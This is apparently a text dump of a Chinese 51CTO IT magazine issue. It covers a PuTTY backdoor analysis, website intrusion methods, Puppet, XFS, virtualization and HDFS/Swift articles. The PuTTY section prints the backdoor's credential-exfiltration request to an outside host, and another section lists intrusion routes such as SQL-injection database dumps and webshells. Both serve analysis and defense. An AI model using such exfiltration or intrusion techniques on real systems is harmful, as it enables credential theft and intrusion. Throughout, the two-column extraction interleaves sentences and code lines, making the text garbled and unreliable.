经过一晚的酝酿，putty 事件开始在互联网上广泛传播，微博、始 HTTP 数据：
论坛等信息发布平台上开始大量出现 putty 后门事件的消息，同时，很多技
GET/yj33/js2.asp?act=adduser=50.23.79.188pwd=abcll1=passll2=22ll
术人员也开始对含有后门的 putty 等 SSH 管理软件进行技术分析，并陆续
3=PuTTYHTTP/1.1
发布其中的技术细节。
User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64;rv:6.0a2)
Gecko/20110613Firefox/6.0a2
Host:l.ip-163.com:88
Pragma:no-cache

http://os.51cto.com

专题

从以上数据可以获得以下信息： 3．安全建议

1. 敏感信息通过 HTTPGET 的方式发送到服务器 l.ip-163.com 上（经测若您使用过中文版的 putty、WinSCP、SSHSecure 和 sftp 等软件，但暂时
试，该域名与 putty.org.cn 位于同一 IP 地址上）又不能对服务器进行下线处理，可采取以下临时解决方案来处理：

2. 用于收集密码的程序地址为 1. 使用 chkrootkit 或 rootkithunter 对服务器进行扫描，检查是否存在已
知后门
3. 敏感信息以 GET 参数的方式发送到服务器上，相关参数为：
2. 查看网络是否有可疑外联，并加强对可疑外联的监控
act=adduser=50.23.79.188pwd=abcll1=passll2=22ll3=PuTTY
3. 在网络层建立端口访问控制策略，阻止除正常业务外的一切非业务、
每个字段的作用如下：
非管理端口
act 为执行的动作，参数 add 用于添加信息，经测试，也可使用 del 来删除
4. 更换 SSH 登录密码，建议登录时使用证书加密码的组合方式进行身
信息
份验证
user 为 SSH 服务器的 IP 地址，此处为 50.23.79.188
5. 登录 SSH 时，不要直接使用 root 用户，先使用普通用户登录后， su
再
pwd 为连接服务器时的登录用户名，此处为 abc 至 root
ll1 为登录密码，此处为 pass 6. 服务器端通过 TCPWrapper 或 iptables 等软件，限制 IP 访问，仅允许特
ll2 为目标服务器的 SSH 端口，此处为 22（即，默认端口）定 IP 地址对服务器的 SSH 进行连接和管理

ll3 则为客户端类型，此处为 PuTTY 7. 如需使用 putty、WinSCP 等软件，可访问其官方站点下载：

2.2.2服务器本地文件分析 http://www.putty.org/

知道创宇安全研究团队借助文件完整性校验的方式，对服务器初始安全 http://winscp.net/eng/docs/lang:chs
状态下的 /etc、/lib、/usr、/bin 等敏感目录进行了完整性备份，并在 putty 原文：
连接测试后对这些目录的文件变更、丢失和添加等情况进行了校验，校验结
推荐阅读：
果显示，中文版 putty 并未对服务器自动安装后门程序。
不让 Putty 后门盗密码一次性密码来解决
网络上部分消息称，有些使用中文版 putty 进行过远程管理的服务器上
出现恶意代码和文件，可能是由于恶意用户获取了 putty 所收集的密码后人 http://netsecurity.51cto.com/art/201202/314437.htm
为植入所致。

http://os.51cto.com

专题

一个网站的用户数据库被入侵的方式有哪些？
文/知乎匿名用户

就可以下载了。当然这还牵涉到如何通过触发 web 异常来获取 web 根目
录等等（facebook 就这样被白帽黑客们调戏过）。或者，我先通过正常渠道
将一个 web 页面提交到库中，然后通过这个表单提交一个 mysql 的 dump
命令，好了，我们服务器硬盘上多了一个页面，可以访问了，如果这个页面
有上传下载等功能呢，我就获得了一部分我们服务器的控制权了（术语叫
webshell）。

2. 利用部署、运维过程中的疏忽，比如一些服务器软件，自带了一些管
理后台和接口， tomcat 的 manager 页面，
如 jboss 的 jmx console，wampp 的
webdav 等。这些后台的通常是为开发者设计，很脆弱，而且一般都有默认
的用户名和密码，是不应该在线上出现的，如果运维人员在部署系统是安全
意识不够，暴露这些东西都会带来潜在的风险。我曾经所呆过的公司就被
其实要渗透一个站的方法有很多。一个网站从开发到上线运营，需要经
这个问题搞过多次。自己的管理后台也有同样的问题。
过很多环节很多人员。任何一个环节或者人员出了弱点都有可能被利用，
再比如运维过程中的备份、上传等也容易爆弱点，最简单的方法，我们再
从而造成巨大的损失。
用搜索引擎搜索“index of /upload”或者“index of /backup”翻了看看，
常见的入侵手段有以下几种：
能搜到多少好玩的东西（我就曾不小心搜到过一个招聘站的包含“用户姓
1. 利用网站自身漏洞。名、手机号、邮箱”的库）。

比如 sql 注入。这里举个最简单的例子说说一个 sql 注入如何导致库被 3. 从办公网络入手，再进入服务器系统。由于办公网络使用的人员复杂，
脱。比如有人喜欢休息时逛逛这个论坛，有人习惯上上那个网站。如果有人上
了网站被挂了木马。或者收到含有木马的邮件并打开了。都有可能导致办
比如我们的站上有个表单有 sql 注入，那么就可以执行 sql 语句，于是最
公机器首先沦陷，而办公机器连服务器往往都很容易。后面大家可想而知。
简单的就是，通过这个表单将数据库 dump 到硬盘上的 web 目录中，然后
4. 直接入侵服务器。这在 windows 系统下比较明显，一个溢出就有可

http://os.51cto.com

专题

能导致获得管理员权限。linux 则相对比较安全。
【特别推荐】
5. 社会工程，上面的传统方法对技术要求比较高。社会工程攻击就是重
复利用人的弱点，
作是同事，
骗取系统权限等有价值的信息。比如一个电话打过去，
然后说：
我是 xxx 部门的 xxx，现在要做什么，
装
但是没有权限，我
51CTO情人节专题：
们的密码是什么的？如果你但是已经忙得焦头烂额，
说了。或者事情很简单，坏人们手中有很强大的库，
很可能就直接把密码
包括很多常用的默认密
看各路IT宅男能否脱“光”？
码（甚至公司内部通用的默认密码）用这些库来爆破你的服务器。直接就
，
获得权限了。

要防止此类灾难性的后果也很简单：
堵住坏人的路。

1. 增强自己系统的安全性。从开发人员的安全开发技术培训，防止诸如
sql 注入、等严重漏洞的出现。工作人员的安全意识的培养等。设计系
xss
统的时候，要考虑到安全，如何加密，如何存储，如何传输，如果一个子系统
沦陷了会不会导致其他子系统沦陷等等。

2. 审计要做好。事前及时发现异常。事后发现漏洞。

3. 对外合作、三方软件等使用须谨慎。不要让自己不可控的东西成为自
己的安全短板。

另外，提醒一下，其实坏人们手中的库是很多的，对于有价值的网站，会
有人用各种库来刷。社工的库比我们想像的要大得多。我们大家自己要注
意安全，千万不能一个密码走遍全网，在一些不靠谱的站上注册，就用被盗
了也没事的密码，而邮箱密码和银行密码最好单独设置，单独用。不要以为
自己的账号没被盗过，而是人家登过你的账号，然后发现没搞头又走了，你
不知道而已，等哪天有搞头了，你就发现你的账号被盗了。

原文：
http://www.zhihu.com/question/19984402

http://os.51cto.com

资料
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Docs

HTTP Server开发相关学习资料整理推介
收集整理/ericzhang

FastCGI Whitepaper

FastCGI Specification

FastCGI 协议相关标准文档，述了 FastCGI 协议及 Web Server 及
描
FastCGI Application 如何进行交互。

基础理论资料

The C10K problem

一篇非常著名的讨论高性能 HTTP Server 的文章，文章作者结合 I/O 策
本文整理了我在学习过程中接触到的一些与 HTTP Server 有关的资料、
略详细讨论了高性能 HTTP Server 的话题。
文章及书籍，在这里分享给大家，希望对大家有所帮助。
How to use epoll? A complete example in C
RFC及标准性文档
一篇不错的文章，给出了 epoll 编程的一个实例，有助于理解如何使用
RFC2616 Hypertext Transfer Protocol — HTTP/1.1
epoll。
HTTP 协议标准文档，所有从事 HTTP 相关开发的人员必备参考资料，建
关于 EPOLL 的 ET 与 LT 工作模式及其他细节
议仔细研读。
一篇简洁精炼的文章，探讨了 edge trigger、level trigger、select、poll 及
RFC793 TRANSMISSION CONTROL PROTOCOL
epoll 相关的话题。
TCP 协议标准文档。
实现了一个比 nginx 速度更快的 HTTP 服务器
The WWW Common Gateway Interface Version 1.1
之前在博客园看到的一篇有点标题党的文章 : )，不过内容很不错。作
CGI1.1 协议标准文档，描述了 Web Server 与 CGI Application 通过 CGI 者在文中讲解了如何一步步实现一个基于事件驱动、I/O 多路复用的非阻
协议进行交互的所有细节。塞 HTTP Server，前半部分的理论也讲得很好。

http://os.51cto.com

资料
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Docs

开发技术文档五脏俱全。这个程序的目的不是用于生产环境，而是展示一些 Http Server
最本源的东西。可以通过阅读这段代码理解一个 Http Server 的本质。其
Emiller’ Guide To Nginx Module Development
s
中包含一个简易的 Server 和一个 Client。
非常经典的关于 Nginx 扩展模块开发的文章。因为 Nginx 官方并没有提
Nginx 第三方模块
供开发扩展模块相关的文档，因此这篇文章几乎是 Nginx 模块开发入门的
唯一资料。这里有大量 Nginx 第三方模块的源码，是学习 Nginx 模块开发很好的参
考。
Emiller’ Advanced Topics In Nginx Module Development
s
libfcgi
上一篇文章的后续版本，探讨了如 subrequest 相关的一些高级话题。本
文的最后作者给出了 ToDo，表明作者当时打算继续写第三篇，并会探讨并 FastCGI 的一个实现，以库的模式提供给第三方使用。
行 subrequest、Nginx 内置数据结构等内容，但不知什么原因，作者后来没有
电子书籍
继续写下去，真是非常遗憾。但这两篇文章仍然是每个打算入门 Nginx 模
块开发的必读圣经。 UNIX Network Programming vol1 The Sockets Networking API

Nginx 模块开发入门 Unix 网络编程的超经典著作，详细讲解了 Socket 编程、Network I/O 等
内容，涉及 Unix 网络编程的方方面面，如果想从事与 HTTP Server 有关的开
我之前写的一篇文章，通过一个 Nginx 模块的实际开发过程示例详细介
发，这本书是夯实基础的必读经典。
绍了 Nginx 模块开发的基本知识点。
Nginx HTTP Server
FastCGI Programmer Guide
第一本关于 Nginx 的书，不过比较偏重于应用，对开发几乎没有太多帮
FastCGI 官方关于开发 FastCGI 的文档，每个开发与 FastCGI 相关程序人
助，不过仍不失为一本理解 Nginx 应用层面的绝佳参考书。
员必读。
OReilly Writing Apache Modules with Perl and C
Libevent Book
一本介绍 Apache 模块开发的书。
Libevent 的参考文档
如果各位有相关资料推介，欢迎联系我补充。
程序参考
原文：
http://www.codinglabs.org/html/http-server-docs.html
TinyHttpd

一个短小精悍的 Http Server 实现，全部只有 503 行代码，但是麻雀虽小

http://os.51cto.com

工具
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Tools

Puppet hosts 资源管理以及多个file source
文/sky

本小节介绍的是如何使用 puppet 来管理 hosts 资源。在阅读本文之前 # puppet agent --test
大家可以仔细回忆下 puppet 运维之 hosts 主机管理的内容。另外关于文 info: Retrieving plugin
件同步，之前 sky 文章也有讲到过就是使用 file source 参数，并没有讲多个 info: Caching catalog for cookbook.bitfieldconsulting.com
source。那么使用多个 file source 进行文件同步的话，会是什么样子呢？ info: Applying configuration version '1305716418'
notice: /Stage[main]//Node[cookbook]/Host[www.bitfieldconsulting.com]/
[ 正文 ] ensure: created
info: FileBucket adding /etc/hosts as {md5}977bf5811de978b7f041309e77b4a
经常机器需要移动，尤其是云基础架构，因此一个特定的机器 IP 经常会
be
变化。正因为如此，在配置文件里使用硬件编码 (mac 地址绑定 ) 不是个
notice: Finished catalog run in 0.21 seconds
好主意。如果一台机器需要访问另一台，例如 : 一个应用服务器访问数据
库服务器，它最好是使用主机名而不是一个 IP 地址。
可以把主机资源组织成类。例如把所有 DB 服务器组织成一个类，类名
但是如何映射主机名到 IP 地址 ? 这通常是使用 dns。但是一个小的组为 admin::allhosts。在所有 web 服务器上执行这个类。
织可能不会有一个 DNS 服务器，一些大型组织可能需要时间去同步 dns 变
有些服务器可能需要在多个类中定义 ( 例如一个数据库服务器也许也
化。此外，信息同步到其它机器需要时间，
dns 因此，为确保快速一致的 IP
是一个资源库服务器 )，虚拟资源可以解决这个问题。你可以定义所有主
地址更新而使用 Puppet 来管理本地的 /etc/hosts 文件不失为一个好方法 .
机在一个虚拟类中 :
1. 添加以下内容到代码 :
class admin::allhosts {
host { www.bitfieldconsulting.com: @host { db1.bitfieldconsulting.com:
ip = 109.74.195.241, ...
target = /etc/hosts, }
ensure = present, }
}
然后在类中使用 realize 实现各主机需要的 hosts
2. 运行 Puppet:

http://os.51cto.com

工具

class admin::dbhosts { }
strongrealize/strong( Host[db1.bitfieldconsulting.com] )
} 2. 创建 /etc/puppet/modules/admin/files/minutespace.my.cnf 文件 ,
class admin::repohosts { 内容如下 :
strongrealize/strong( Host[db1.bitfieldconsulting.com] )
# MinuteSpace config file
}
3. 创建 /etc/puppet/modules/admin/files/generic.my.cnf 文件 , 内容
使用多个 file sources 如下 :
puppet 的一个实用功能你是可以指定多个源文件，puppet 会在列表中寻 # Generic config file
找他们。
4. 添加以下内容到节点 :
如果第一个没有找到就查找下一条，依此类推。如果特定的文件没有找
class { mysql::app-config: app = minutespace }
到，甚至一系列的源文件都没有找到，你可以指定一个默认的源文件。
5. 运行 Puppet
官方文档示例 :
# puppet agent --test
file { /path/to/my/file:
info: Retrieving plugin
source = [
info: Caching catalog for cookbook.bitfieldconsulting.com
/modules/nfs/files/file.$host,
info: Applying configuration version '1305897071'
/modules/nfs/files/file.$operatingsystem,
notice: /Stage[main]/Mysql::App-config/File[/etc/my.cnf]/ensure:
/modules/nfs/files/file
defined content as '{md5}24f04b960f4d33c70449fbc4d9f708b6'
]
notice: Finished catalog run in 0.35 seconds
}
http://docs.puppetlabs.com/references/stable/type.html
6. 检查 puppet 已部署的应用程序特定的配置文件 :
1. 添加这个类到代码 :
# cat /etc/my.cnf
class mysql::app-config( $app ) {
# MinuteSpace config file
file { /etc/my.cnf:
source = [ puppet:///modules/admin/${app}.my.cnf, 7. 现在我们修改节点定义 :
puppet:///modules/admin/generic.my.cnf, ],
class { mysql::app-config: app = shreddit }
}

http://os.51cto.com

工具

8. 再次运行 Puppet: 们传递了一个 minutespace 值 .

# puppet agent --test class { mysql::app-config: app = minutespace }
info: Retrieving plugin
因此 Puppet 将首先寻找 modules/admin/files/minutespace.my.cnf.
info: Caching catalog for cookbook.bitfieldconsulting.com
info: Applying configuration version '1305897864' 此文件存在，因此将使用它。
--- /etc/my.cnf 2011-05-20 13:17:56.006239489 +0000
接下来，我们改变 app 的值为 shredddit。Puppet 会寻找 modules/admin/
+++ /tmp/puppet-file20110520-15575-1icobgs-0
files/shreddit.my.cnf.
13:24:25.030296062 +0000
2011-05-20 此文件不存在，因此 Puppet 会尝试查找列表中的其它 source:
@@ -1 +1 @@
-# MinuteSpace config file modules/admin/files/generic.my.cnf。此文件存在，将会被部署。
+# Generic config file 如果你有文件资源，例如一些节点可能需要定制的配置文件，也可以类
info: FileBucket adding /etc/my.cnf as {md5}24f04b960f4d33c70449fbc4d9f70
似的去做：
8b6
info: /Stage[main]/Mysql::App-config/File[/etc/my.cnf]: file { /etc/stuff.cfg:
Filebucketed /etc/my.cnf to puppet with sum 24f04b960f4d33c70449fbc4d9f70 source = [ puppet:///modules/stuff/${hostname}.cfg,
8b6 puppet:///modules/stuff/generic.cfg ],
notice: /Stage[main]/Mysql::App-config/File[/etc/my.cnf]/content: }
content changed '{md5}24f04b960f4d33c70449fbc4d9f708b6' to '{md5}b3a6e7
44c3ab78dfb20e46ff55f6c33c' 接下来你就把正常配置放进 generic.cfg。如果机器 cartman 需要一个
notice: Finished catalog run in 0.93 seconds 特殊的配置，可以把它的配置文件放进 cartman.cfg 中，将优先使用
你这
generic 文件，因为它在数组的前面。
上面，我们定义了 /etc/my.cnf 有两个源 :
原文：
http://www.mysqlops.com/2012/02/08/puppet-hosts-file-
file { /etc/my.cnf: source.html
source = [ puppet:///modules/admin/${app}.my.cnf,
puppet:///modules/admin/generic.my.cnf, ], 推荐阅读：
} 开源自动化配置管理工具 Puppet 入门教程

$app 的值可以是任意的，但它会传递到类中。因此在第一个例子中，我 Puppet 常见 FAQs

http://os.51cto.com

新鲜事
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Freshy

XFS：大数据环境下Linux文件系统的未来？
文/Jonathan Corbet
编译/布加迪

Linux 有好多种件系统，往往最受关注的是其中两种：
但 ext4 和 btrfs。流量都用于日志——而不是用于用户试图想要写入的数据。多年来人们试
XFS 开发者 Dave Chinner 近日声称，他认为更多的用户应当考虑 XFS。他图采用多种办法来解决这个问题，比如对算法进行重大改变，另外进行许多
谈到了为了解决 XFS 中最严重的可扩展性问题所做的工作，还谈到了他认重大的优化和调整。不需要的一点是任何一种磁盘上格式变化，不过这在
为将来的发展走向。如果他说的一点都没错，接下来几年我们在 XFS 方面将来可能由于其他原因而在筹划之中。
有望看到更多的动静。
元数据密集型的工作负载最后可能会在很短的时间内多次改变同一个
XFS 经常被认为是适合拥有海量数据的用户的文件系统。Dave 表示，目录块；
那些改变每一次都会生成一个记录，记录必须写入到日志中。这正
XFS 非常适合扮演这个角色；
它对许多工作负载而言向来表现不俗。以前是导致巨大日志流量的根源。解决这个问题的办法从概念上来说很简单：
往往问题出在元数据写入方面；
对生成大量元数据写入操作的工作负载缺延迟日志更新，并且将针对同一目录块的变更合并到一个条目中。这些年
少有力的支持历来是该文件系统的薄弱环节。简而言之，元数据写入速度来，以一种可扩展的方式实际落实这个概念颇费周折，但是现在取得了进
很慢，扩展性欠佳，甚至只能适用于单个处理器。展；
延迟的日志（delayed logging）将是 3.3 内核中唯一得到支持的 XFS 日
志模式。
速度到底有多慢？ Dave 制作了几张幻灯片，示 XFS 与 ext4 相比的
显
fs-mark 结果。哪怕在单个处理器上，XFS 的表现也要差得多（速度只有实际的延迟日志技术主要由 ext3 文件系统借鉴而来。由于这种算法已
ext4 的一半）如果线程数量多达 8 个，
；情况完全变得更糟；
但线程数量超知切实可行，证明它同样适用于 XFS 所需的时间则短得多。除了性能上的
过 8 个后，ext4 也遇到了瓶颈，速度慢下来。就元数据频繁变化的输入 / 优点外，这一变化最终促使代码数量减少。有谁想详细了解其工作原理，应
输出密集型工作负载（解开 tarball 文件就是个例子）而言，Dave 表示 ext4 该会在内核文档树中的 filesystems/xfs-delayed-logging.txt 找到所需内
的速度可能比 XFS 快 20 倍至 50 倍。速度这么慢足以表明 XFS 确实存在容。
严重问题。
延迟日志是一大变化，但绝不是唯一的变化。日志空间预留快速路径是
延迟的日志 XFS 中非常热门的路径；
现在它是无锁的，不过慢速路径现阶段仍需要全局
锁。异步元数据写回代码形成了非常分散的输入 / 输出，结果大幅降低了
结果表明问题其实出在日志的输入 / 输出上。针对元数据的变化，XFS
性能。现在，元数据写回在写出之前已被延迟和分类。用 Dave 的话来说，
会生成大量的日志流量。在最糟糕的情况下，几乎所有的实际输入 / 输出

http://os.51cto.com

新鲜事

这意味着文件系统在做输入 / 输出调度程序的工作。但是输入 / 输出调 Linux 文件系统的未来
度程序处理的请求序列通常限制在 128 个条目， XFS 的延迟元数据写回
而
这方面有何进展？现阶段，XFS 中的元数据性能和可扩展性可以被认为
序列可以有数千个条目，所以有必要在输入 / 输出提交之前在文件系统中
是已得到解决的问题。现在性能瓶颈出现在虚拟文件系统（VFS）层，所以
完成分类操作。“活动日志项”（Active log item）这种机制可以累计变化，
需要在这方面开展下一轮工作。但是未来面临的一大挑战在于可靠性方面；
并批量运用变化，以此改进（庞大的）分类日志项列表的性能。元数据缓存
这可能需要 XFS 文件系统作出一些相当大的变化。
也被移到了页面缓存器的外面，页面缓存器往往会在不合适的时间收回页
面。等等。可靠性不仅仅是不丢失数据这么简单——但愿 XFS 在这方面已经做得
很到位，这在将来其实是个可扩展性问题。让数千兆兆字节（PT）的文件系
诸文件系统相比如何？
统下线、运行一款文件系统检查和修复工具，这根本不切实际；
将来，这项
那么，在 XFS 的扩展性如何？如果是一两个线程，
现 XFS 的速度仍比工作其实需要在线进行。这就需要把成熟可靠的故障检测机制融入到文件
ext4 慢一点，但是它可以线性扩展，支持多达 8 个线程， ext4 的情况比较
而系统当中，以便可以实时验证元数据正确无误。其他一些文件系统也在实
糟，btrfs 的情况要糟得多。对 XFS 来说扩展性方面的局限性如今出现在虚施验证数据的机制，但是这似乎超出了 XFS 的范围。Dave 表示，数据验证
拟文件系统层核心中的锁定上，根本不是出现在针对特定文件系统的代码工作最好是在存储阵列层面或应用程序层面完成。
上。现在即使对一个线程来说，目录遍历速度也更快， 8 个线程来说，
对速
“元数据验证”意味着，让元数据自我描述，保护文件系统，防范被存储层
度快得多。他表示，这些并不是 btrfs 开发人员可能展示给人的那种结果。
指错方向的写入。添加校验和技术还不够——核验和只能证明现有的是被
现在空间分配方面的可扩展性要比 ext4 快“几个数量级”。这是由于 3.2 写入的。以适当方式自我描述的元数据能够检测写入到错误地方的块，并
内核中添加了“bigalloc”特性而引起的变化，如果使用了足够大的块，这项且帮助重新组装完全坏掉的文件系统。它还能防止“reiserfs 问题” 即文
，
特性可以将 ext4 在空间分配方面的可扩展性提高两个数量级。遗憾的是，件系统的修复工具被过时的元数据或存储在待修复的文件系统中的文件系
该特性还将小文件的空间使用量增加了同样数量，以至于需要 160GB 来存统映像里面的元数据搞糊涂。
放内核树。bigalloc 并不是很适合 ext4 的另外一些选项，而且需要管理员
有人可能认为，ext4 开发人员会想出很好的办法来回答这个问题，但是
回答复杂的配置问题；
在创建文件系统时，管理员必须考虑文件系统在整
目前还没有人回答得了。（本文有删节）
个使用寿命期间将如何使用。Dave 表示，ext4 存在架构方面的不足——尤
其是使用位图来用于跟踪空间，这是上世纪 80 年代的文件系统存在的典型原文：
http://lwn.net/Articles/476263/

问题。它根本无法扩展，成为真正超大的文件系统。译文：

btrfs 中的空间分配甚至比 ext4 还要来得慢。Dave 表示，问题主要出在推荐阅读：
闲置空间缓存的走查，目前这是处理器密集型的操作。这不是 btrfs 中的架
Google GFS 文件系统深入分析
构问题，所以它应该有望得到解决，但需要做一番优化工作。

http://os.51cto.com

新鲜事

也谈架构：百万pv项目与虚拟化
文/dngood

一说明 2.2 网站架构

100 万 pv 的项目网站，说大不大，说小又具备了一定规模，最近公司网站 xxx 项目逻辑上可以分为 5 层
的 xxx 项目从物理机迁移到了 VMware 虚拟化平台 (ESXI)，这里总结下该
1 CDN 层，为提高用户体验度 , 公司网站全部使用商用 CDN 来加速网
项目的网站架构，如有不妥之处还肯请老鸟多指点，新同学可以当作简单的
站，cdn 源站服务器用于存储用户或者 CMS 发布的静态文件。
参考资料！
2 代理层，使用 haproxy 反向代理 IIS 服务器，haproxy 拥有强大的负载
二项目架构介绍
均衡能力与健康检查功能，提供友好的监控页面。
2.1 公司 xxx 项目开始于 2007 年，目前日均 pv 100 万左右，峰值流量
3 应用层，IIS 服务器适用于 .net ，同理如果你使用 php|jsp 那么就要
(BGP)60Mbit 左右，haproxy 负载均衡器峰值并发 4000 左右，xxx 项目共
换成 apache|nginx|tomcat 等等。
占用两个机柜 14u 机位，共计 13 台由 12 台 Dell 1950 与 1 台 Dell 2950
组成， 4 缓存层，memcache lucene 都是为了减轻数据库压力而存在的。

包括 5 数据库层， SqlServer 数据库由 1 主 ( 写 )2 从 ( 读 ) 组成。

1 台 CDN 源站服务器 2.3 网站架构拓扑图（见下页）

1 台 haproxy 负载均衡器 2.4 架构存在的问题

4 台 iis web 服务器 a CDN 源站单点问题，不考虑费用的情况下这个可以考虑双机 HA，或者
将 xxximg.xxx.com 合并到主站 CDN 源服务器
2 台 memcache 缓存服务器
b haproxy 单点问题，这个已经通过 haproxy + keepalived 方式解决
2 台 lucene 检索服务器
c 其实有些经验的朋友都能看出来，缓存层中无论是 memcache 还是
1 台 SqlServer 主数据库服务器
lucene 都是为了减轻数据库压力而存在的，目前数据库是 1 主 ( 写 )2 从
2 台 SqlServer 从数据库服务器 ( 读 ) 在缓存层服务器的帮助下，负载并不高，不过一旦缓存服务器崩溃，

http://os.51cto.com

新鲜事

器耗电量是一个问题 !

4 集中管理与集中控制，可以使用 Vmware Vcenter 集中管理 Vmware
ESXI 主机，举个例子 : 如果我要重启一台服务器只需要在 Vcenter 直接
reboot ESXI 主机即可，非常方便！

3.2 虚拟化后服务器数量

1 台 CDN 源站服务器 ( 保持不变 )

4 台 Vmware ESXI 服务器

3.3 虚拟机划分

haproxy01 sql_master sql_slave01 sql_slave02

iis01 iis02 iis03 iis04

memcache01 memcache02 lucene01 lucene02

haproxy02

----------------------------------------

数据压力立刻增加！ Esxi-1 Esxi-2 Esxi-3 Esxi-4

三项目虚拟化 3.4 虚拟化注意事项

3.1 为什么要进行虚拟化 ? 线上 ESXI 服务器配置：

1 xxx 项目的服务器已经运行近 5 年原计划考虑升级服务器配置，或者 Dell R610 1U
更换新的服务器代替老旧的服务器 , 但是不能忽略成本这个重要的因素 !
cpu *2 XEON 5620
2 XXX 机房目前中国 IDC 行业数一数二的角色，但是它的机柜资源非常
mem 32GB
紧张，以我们公司为例四个月前向其申请新的机柜，至今还在“排队”等待 !
disk *4 300G 10k sas
3 XXX 机房限制机柜用电量，比如每机柜限制在 6.8 安，所以老旧服务

http://os.51cto.com

新鲜事

perc 6i raid 10 务类型占用的资源不同再对虚拟机作出调整，比如 haproxy 很省资源，只
分给其 2 vcpu/2GB mem/30GB vdisk/ 。
线上虚拟机资源分配 :
不适用于虚拟化
haproxy 2 vcpu/2GB mem/30GB vdisk/ # 耗网络 ( 相对 )
目前来讲，假如系统负载 /IO/cpu/ 内存 / 网络等较小，都可以迁移
iis 4vcpu/6GB mem/60GB vdisk/ # 耗 cpu+ 内存
至虚拟化平台，但是 IO/cpu/ 内存 / 网络等等要求极高，
memcache 2vcpu/10GB mem/30GB vdisk/ # 耗内存
例如繁忙的数据库或者本项目中的 cdn 源站服务器 ( 磁盘 ), 虚
lucene 4vcpu/10GB mem/80GB vdisk/ # 耗内存拟化就需要三思而后行了，当然为了方便集中管理，可以将 ESXI 主机全部
sqlserver 4vcpu/10GB mem/100GB vdisk/ # 耗 cpu+ 内存 +IO 资源分给此虚拟机，此虚拟机独享 ESXI 全部资源 (VMware vsphere 5 )

注意事项从四个方面考虑，包括四成本对比

1. 处理器性能 : 为虚拟机分配资源要考虑服务器类型，不建议为虚拟 XXX 项目服务器数量机位数量耗电量
机分配过多的 vcpu 够用则好，否则将导致此虚拟机抢占资源太多，会影物理机 13 台 14 约 10 安
响同一宿主机上的其它虚拟机的正常共作。
虚拟化 5 台 6 约4安
2. 内存容量 : 分配内存与分配 cpu 大致相同“够用则好” 不过不要忘
，
结束
记为 ESXI 主机预留一定内存用于 ESXI 自身开销，线上 ESXI 主机一般预留
1GB 至 2GB 内存。此文资料来自公司线上某项目，这里我们讨论了网站架构与虚拟化，如
有不妥之处还肯请老鸟多指点，新同学可以当作简单的参考资料，如有疑问
3. I/O 资源 : 结合实际 i/o 使用情况，建议一台 ESXI 主机虚拟机数量
欢迎到此讨论 ( 你懂得 ) 37275208 ！
小于 6 个，以线上服务器为例，一般一台 ESXI 主机在 3-4 台虚拟机之间，
当然这个不是绝对的，比如线上另一台 mysql 从库服务器独享 ESXI 主机原文：
http://dngood.blog.51cto.com/446195/764387
全部资源。
推荐阅读：
4. 网络资源 : 由于几台虚拟机共享 ESXI 主机网络设备，所以高带宽高
在远程 Linux 上存储 VMware ESXi syslog 事件
流量的服务要注意，可以将 ESXI 主机的某个网卡独享给每台虚拟机
快速管理 VMware 虚拟机五技巧
最后我们可以看到，虚拟机部署是按照不同服务类型来分摊到每个一
ESXI 主机上的，而不是把全部的鸡蛋放在一个篮子里面，这样做的原因是 VMware 许可须知：
View、vCenter 与 vSphere 5

如果服务器硬件造成的故障，线上服务影响到最小限度；
其次，分析不同服

http://os.51cto.com

新鲜事

讨论：HDFS和OpenStack对象存储的技术差异
来源/Quora
编译/布加迪

Quora 用户提问： Hadoop 分布式文件系统
“ （HDFS）和 OpenStack 对象存非常多的大小不一的文件。
储（OpenStack Object Storage）似乎都有着相似的目的：
实现冗余、快速、联
美国宇航局 Nebula 云计算项目的首席架构师，OpenStack Nova 软件的早
网的存储。什么样的技术特性让这两种系统因而不一样？这两种存储系统
期开发者之一，Joshua McKenty 回答：
最终趋于融合是否大有意义？”
Chuck 刚才详细介绍了两者的技术差异，但是没有讨论两者可想而知的
RackSpace 的 OpenStack Swift 开发者 Chuck Their 回答：
融合，OpenStack 设计峰会上抛出了融合这个话题。简而言之，HDFS 被设
虽然 HDFS 与 Openstack 对象存储（Swift）之间有着一些相似之处，但是计成可以使用 Hadoop，跨存储环境里面的对象实现 MapReduce 处理。对于
这两种系统的总体设计却大不一样。许多 OpenStack 公司（包括我自己的公司）来说，支持 Swift 里面的处理是
路线图上面的一个目标，不过不是每个人都认为 MapReduce 是解决之道。
1. HDFS 使用了中央系统来维护文件元数据（Namenode，名称节点）而
，
在 Swift 中，元数据呈分布式，跨集群复制。使用一种中央元数据系统对我们已讨论过为 HDFS 编写包装器，这将支持 OpenStack 内部存储应用
HDFS 来说无异于单一故障点，因而扩展到规模非常大的环境显得更困难。编程接口（API）并且让用户可以针对该数据来执行 Hadoop 查询。还有一
，
个办法就是在 Swift 里面使用 HDFS。但是这些方法似乎没有一个是理想的。
2. Swift 在设计时考虑到了多租户架构， HDFS 没有多租户架构这个
而
概念。 OpenStack 社区方面也在开展研究开发方面的一些工作，认真研究其他
替代性的 MapReduce 框架（Riak 和 CouchDB 等）。
3. HDFS 针对更庞大的文件作了优化（这是处理数据时通常会出现的情
况） Swift 被设计成了可以存储任何大小的文件。
，最后，在有别的一些存储项目，前
现目 “隶属于”OpenStack 社区
（SheepDog 和 HC2）。充分利用数据局部性，并且让对象存储变得“更智能”，
4. 在 HDFS 中，件写入一次，且每次只能有一个文件写入；在
文而而
这是预计会取得进步的一个领域。
Swift 中，文件可以写入多次；
在并发操作环境下，以最近一次操作为准。
原文：
http://www.quora.com/What-features-differentiate-HDFS-
5. HDFS 用 Java 来编写， Swift 用 Python 来编写。
而
and-OpenStack-Object-Storage
另外，HDFS 被设计成了可以存储数量中等的大文件，以支持数据处理，
译文：
而 Swift 被设计成了一种比较通用的存储解决方案，能够可靠地存储数量

http://os.51cto.com

技巧
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Tips

Java应用运维
文/bluedavy

对于互联网产品或长期运行的产品而言，运维工作非常重要，尤其是在操作实在是痛苦不堪，于是喜欢“偷懒”的同学会专门搞台发布用的机器（或
产品复杂了以后，在这篇 blog 中就来说下 Java 应用的运维工作。者就是运行应用的那台机器）然后写个脚本，
，每次需要发布时就通过脚本
自动的将发布需要做的所有事情自动做好，这下以后发布爽多了。
:)，
苦逼的码农按照需求开发好了一个全新的 Java Web 应用，该发布上线
